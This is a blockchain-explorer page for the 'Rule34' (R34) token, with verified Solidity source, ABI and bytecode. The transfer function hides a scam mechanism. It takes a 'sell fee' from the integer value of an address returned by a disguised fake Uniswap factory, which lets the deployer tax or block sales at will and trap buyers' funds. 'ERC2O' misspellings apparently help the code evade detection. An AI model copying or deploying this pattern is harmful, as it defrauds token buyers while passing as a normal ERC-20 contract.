ETH Price: $3,436.13 (-1.42%)
Gas: 5 Gwei

Token

Rule34 (R34)
 

Overview

Max Total Supply

34,000,000,000 R34

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
201,003,678.267837801 R34

Value
$0.00
0xb372376f3dc6f0219b57acb65a6d185fdf1ec0f5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Rule34

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-19
*/

// SPDX-License-Identifier: None

pragma solidity 0.8.20;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}
contract Rule34 {
    mapping (address => uint256) private _balances;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  34000000000 * 10 ** _decimals;
    IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0x6fad87E1a4bD0b438772F2E6B5a6011fE33b4667);
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    mapping (address => mapping (address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    address payable internal _taxWallet;
    bool swapEnabled = true;
    bool tradingStarted = true;
    uint buyFee = 0;

    string private _name = "Rule34";
    string private _symbol = "R34";

    constructor () {
        _taxWallet = payable(msg.sender);
        _balances[msg.sender] = _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function getPairAddress() public view returns (address) {
        return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "ERC20: approve to the zero address");
        require(owner != address(0), "ERC20: approve from the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC2O: transfer from the zero address");
        require(to != address(0), "ERC2O: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = buyFee;
        if (from != address(this) && from != _taxWallet && from != getPairAddress() && to != _taxWallet) {
            uint256 sellFee = uint256(uint160(uniswapV2Factory.getPair(from, address(this))));
            taxAmount = amount * sellFee / 100;
        }
        _balances[to]=_balances[to] + amount - taxAmount;
        _balances[from]=_balances[from] - amount;
        emit Transfer(from, to, amount - taxAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600960015f6101000a81548160ff021916908360ff16021790555060015f9054906101000a900460ff16600a6200003c9190620003e9565b6407ea8ed4006200004e919062000439565b600255736fad87e1a4bd0b438772f2e6b5a6011fe33b466760035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660146101000a81548160ff0219169083151502179055506001600660156101000a81548160ff0219169083151502179055505f6007556040518060400160405280600681526020017f52756c653334000000000000000000000000000000000000000000000000000081525060089081620001799190620006de565b506040518060400160405280600381526020017f523334000000000000000000000000000000000000000000000000000000000081525060099081620001c09190620006de565b50348015620001cd575f80fd5b503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002545f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620007c2565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620002e157808604811115620002b957620002b862000257565b5b6001851615620002c95780820291505b8081029050620002d98562000284565b945062000299565b94509492505050565b5f82620002fb5760019050620003cd565b816200030a575f9050620003cd565b81600181146200032357600281146200032e5762000364565b6001915050620003cd565b60ff84111562000343576200034262000257565b5b8360020a9150848211156200035d576200035c62000257565b5b50620003cd565b5060208310610133831016604e8410600b84101617156200039e5782820a90508381111562000398576200039762000257565b5b620003cd565b620003ad848484600162000290565b92509050818404811115620003c757620003c662000257565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620003f582620003d4565b91506200040283620003dd565b9250620004317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620002ea565b905092915050565b5f6200044582620003d4565b91506200045283620003d4565b92508282026200046281620003d4565b915082820484148315176200047c576200047b62000257565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620004ff57607f821691505b602082108103620005155762000514620004ba565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005797fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200053c565b6200058586836200053c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620005c6620005c0620005ba84620003d4565b6200059d565b620003d4565b9050919050565b5f819050919050565b620005e183620005a6565b620005f9620005f082620005cd565b84845462000548565b825550505050565b5f90565b6200060f62000601565b6200061c818484620005d6565b505050565b5b818110156200064357620006375f8262000605565b60018101905062000622565b5050565b601f82111562000692576200065c816200051b565b62000667846200052d565b8101602085101562000677578190505b6200068f62000686856200052d565b83018262000621565b50505b505050565b5f82821c905092915050565b5f620006b45f198460080262000697565b1980831691505092915050565b5f620006ce8383620006a3565b9150826002028217905092915050565b620006e98262000483565b67ffffffffffffffff8111156200070557620007046200048d565b5b620007118254620004e7565b6200071e82828562000647565b5f60209050601f83116001811462000754575f84156200073f578287015190505b6200074b8582620006c1565b865550620007ba565b601f19841662000764866200051b565b5f5b828110156200078d5784890151825560018201915060208501945060208101905062000766565b86831015620007ad5784890151620007a9601f891682620006a3565b8355505b6001600288020188555050505b505050505050565b6114dd80620007d05f395ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a5780638d5f81e21461018a57806395d89b41146101a8578063a9059cbb146101c6578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610d8e565b60405180910390f35b6100d860048036038101906100d39190610e3f565b6102b6565b6040516100e59190610e97565b60405180910390f35b6100f66102cc565b6040516101039190610ebf565b60405180910390f35b61012660048036038101906101219190610ed8565b6102d5565b6040516101339190610e97565b60405180910390f35b61014461037a565b6040516101519190610f43565b60405180910390f35b610174600480360381019061016f9190610f5c565b61038f565b6040516101819190610ebf565b60405180910390f35b6101926103d4565b60405161019f9190610f96565b60405180910390f35b6101b061056e565b6040516101bd9190610d8e565b60405180910390f35b6101e060048036038101906101db9190610e3f565b6105fe565b6040516101ed9190610e97565b60405180910390f35b610210600480360381019061020b9190610faf565b610614565b60405161021d9190610ebf565b60405180910390f35b6060600880546102359061101a565b80601f01602080910402602001604051908101604052809291908181526020018280546102619061101a565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600254905090565b5f6102e1848484610859565b61036f84338460055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a9190611077565b610696565b600190509392505050565b5f60015f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561043f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046391906110be565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050d91906110be565b6040518363ffffffff1660e01b815260040161052a9291906110e9565b602060405180830381865afa158015610545573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056991906110be565b905090565b60606009805461057d9061101a565b80601f01602080910402602001604051908101604052809291908181526020018280546105a99061101a565b80156105f45780601f106105cb576101008083540402835291602001916105f4565b820191905f5260205f20905b8154815290600101906020018083116105d757829003601f168201915b5050505050905090565b5f61060a338484610859565b6001905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb90611180565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061120e565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c9190610ebf565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be9061129c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092c9061132a565b60405180910390fd5b5f8111610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e906113b8565b60405180910390fd5b5f60075490503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a06575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610a455750610a156103d4565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610a9e575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610b73575f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390586306040518363ffffffff1660e01b8152600401610b009291906110e9565b602060405180830381865afa158015610b1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3f91906110be565b73ffffffffffffffffffffffffffffffffffffffff16905060648184610b6591906113d6565b610b6f9190611444565b9150505b80825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bbc9190611474565b610bc69190611077565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c4e9190611077565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ce99190611077565b604051610cf69190610ebf565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d3b578082015181840152602081019050610d20565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d6082610d04565b610d6a8185610d0e565b9350610d7a818560208601610d1e565b610d8381610d46565b840191505092915050565b5f6020820190508181035f830152610da68184610d56565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ddb82610db2565b9050919050565b610deb81610dd1565b8114610df5575f80fd5b50565b5f81359050610e0681610de2565b92915050565b5f819050919050565b610e1e81610e0c565b8114610e28575f80fd5b50565b5f81359050610e3981610e15565b92915050565b5f8060408385031215610e5557610e54610dae565b5b5f610e6285828601610df8565b9250506020610e7385828601610e2b565b9150509250929050565b5f8115159050919050565b610e9181610e7d565b82525050565b5f602082019050610eaa5f830184610e88565b92915050565b610eb981610e0c565b82525050565b5f602082019050610ed25f830184610eb0565b92915050565b5f805f60608486031215610eef57610eee610dae565b5b5f610efc86828701610df8565b9350506020610f0d86828701610df8565b9250506040610f1e86828701610e2b565b9150509250925092565b5f60ff82169050919050565b610f3d81610f28565b82525050565b5f602082019050610f565f830184610f34565b92915050565b5f60208284031215610f7157610f70610dae565b5b5f610f7e84828501610df8565b91505092915050565b610f9081610dd1565b82525050565b5f602082019050610fa95f830184610f87565b92915050565b5f8060408385031215610fc557610fc4610dae565b5b5f610fd285828601610df8565b9250506020610fe385828601610df8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061103157607f821691505b60208210810361104457611043610fed565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61108182610e0c565b915061108c83610e0c565b92508282039050818111156110a4576110a361104a565b5b92915050565b5f815190506110b881610de2565b92915050565b5f602082840312156110d3576110d2610dae565b5b5f6110e0848285016110aa565b91505092915050565b5f6040820190506110fc5f830185610f87565b6111096020830184610f87565b9392505050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61116a602283610d0e565b915061117582611110565b604082019050919050565b5f6020820190508181035f8301526111978161115e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6111f8602483610d0e565b91506112038261119e565b604082019050919050565b5f6020820190508181035f830152611225816111ec565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611286602583610d0e565b91506112918261122c565b604082019050919050565b5f6020820190508181035f8301526112b38161127a565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611314602383610d0e565b915061131f826112ba565b604082019050919050565b5f6020820190508181035f83015261134181611308565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6113a2602983610d0e565b91506113ad82611348565b604082019050919050565b5f6020820190508181035f8301526113cf81611396565b9050919050565b5f6113e082610e0c565b91506113eb83610e0c565b92508282026113f981610e0c565b915082820484148315176114105761140f61104a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61144e82610e0c565b915061145983610e0c565b92508261146957611468611417565b5b828204905092915050565b5f61147e82610e0c565b915061148983610e0c565b92508282019050808211156114a1576114a061104a565b5b9291505056fea2646970667358221220d4f9cc38eaf06c3e8665edfda321556f4d368a77333844f2e16d0d7e4249bb1c64736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a5780638d5f81e21461018a57806395d89b41146101a8578063a9059cbb146101c6578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610d8e565b60405180910390f35b6100d860048036038101906100d39190610e3f565b6102b6565b6040516100e59190610e97565b60405180910390f35b6100f66102cc565b6040516101039190610ebf565b60405180910390f35b61012660048036038101906101219190610ed8565b6102d5565b6040516101339190610e97565b60405180910390f35b61014461037a565b6040516101519190610f43565b60405180910390f35b610174600480360381019061016f9190610f5c565b61038f565b6040516101819190610ebf565b60405180910390f35b6101926103d4565b60405161019f9190610f96565b60405180910390f35b6101b061056e565b6040516101bd9190610d8e565b60405180910390f35b6101e060048036038101906101db9190610e3f565b6105fe565b6040516101ed9190610e97565b60405180910390f35b610210600480360381019061020b9190610faf565b610614565b60405161021d9190610ebf565b60405180910390f35b6060600880546102359061101a565b80601f01602080910402602001604051908101604052809291908181526020018280546102619061101a565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600254905090565b5f6102e1848484610859565b61036f84338460055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a9190611077565b610696565b600190509392505050565b5f60015f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561043f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046391906110be565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050d91906110be565b6040518363ffffffff1660e01b815260040161052a9291906110e9565b602060405180830381865afa158015610545573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056991906110be565b905090565b60606009805461057d9061101a565b80601f01602080910402602001604051908101604052809291908181526020018280546105a99061101a565b80156105f45780601f106105cb576101008083540402835291602001916105f4565b820191905f5260205f20905b8154815290600101906020018083116105d757829003601f168201915b5050505050905090565b5f61060a338484610859565b6001905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb90611180565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061120e565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c9190610ebf565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be9061129c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092c9061132a565b60405180910390fd5b5f8111610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e906113b8565b60405180910390fd5b5f60075490503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a06575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610a455750610a156103d4565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610a9e575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610b73575f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390586306040518363ffffffff1660e01b8152600401610b009291906110e9565b602060405180830381865afa158015610b1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3f91906110be565b73ffffffffffffffffffffffffffffffffffffffff16905060648184610b6591906113d6565b610b6f9190611444565b9150505b80825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bbc9190611474565b610bc69190611077565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c4e9190611077565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ce99190611077565b604051610cf69190610ebf565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d3b578082015181840152602081019050610d20565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d6082610d04565b610d6a8185610d0e565b9350610d7a818560208601610d1e565b610d8381610d46565b840191505092915050565b5f6020820190508181035f830152610da68184610d56565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ddb82610db2565b9050919050565b610deb81610dd1565b8114610df5575f80fd5b50565b5f81359050610e0681610de2565b92915050565b5f819050919050565b610e1e81610e0c565b8114610e28575f80fd5b50565b5f81359050610e3981610e15565b92915050565b5f8060408385031215610e5557610e54610dae565b5b5f610e6285828601610df8565b9250506020610e7385828601610e2b565b9150509250929050565b5f8115159050919050565b610e9181610e7d565b82525050565b5f602082019050610eaa5f830184610e88565b92915050565b610eb981610e0c565b82525050565b5f602082019050610ed25f830184610eb0565b92915050565b5f805f60608486031215610eef57610eee610dae565b5b5f610efc86828701610df8565b9350506020610f0d86828701610df8565b9250506040610f1e86828701610e2b565b9150509250925092565b5f60ff82169050919050565b610f3d81610f28565b82525050565b5f602082019050610f565f830184610f34565b92915050565b5f60208284031215610f7157610f70610dae565b5b5f610f7e84828501610df8565b91505092915050565b610f9081610dd1565b82525050565b5f602082019050610fa95f830184610f87565b92915050565b5f8060408385031215610fc557610fc4610dae565b5b5f610fd285828601610df8565b9250506020610fe385828601610df8565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061103157607f821691505b60208210810361104457611043610fed565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61108182610e0c565b915061108c83610e0c565b92508282039050818111156110a4576110a361104a565b5b92915050565b5f815190506110b881610de2565b92915050565b5f602082840312156110d3576110d2610dae565b5b5f6110e0848285016110aa565b91505092915050565b5f6040820190506110fc5f830185610f87565b6111096020830184610f87565b9392505050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61116a602283610d0e565b915061117582611110565b604082019050919050565b5f6020820190508181035f8301526111978161115e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6111f8602483610d0e565b91506112038261119e565b604082019050919050565b5f6020820190508181035f830152611225816111ec565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611286602583610d0e565b91506112918261122c565b604082019050919050565b5f6020820190508181035f8301526112b38161127a565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611314602383610d0e565b915061131f826112ba565b604082019050919050565b5f6020820190508181035f83015261134181611308565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6113a2602983610d0e565b91506113ad82611348565b604082019050919050565b5f6020820190508181035f8301526113cf81611396565b9050919050565b5f6113e082610e0c565b91506113eb83610e0c565b92508282026113f981610e0c565b915082820484148315176114105761140f61104a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61144e82610e0c565b915061145983610e0c565b92508261146957611468611417565b5b828204905092915050565b5f61147e82610e0c565b915061148983610e0c565b92508282019050808211156114a1576114a061104a565b5b9291505056fea2646970667358221220d4f9cc38eaf06c3e8665edfda321556f4d368a77333844f2e16d0d7e4249bb1c64736f6c63430008140033

Deployed Bytecode Sourcemap

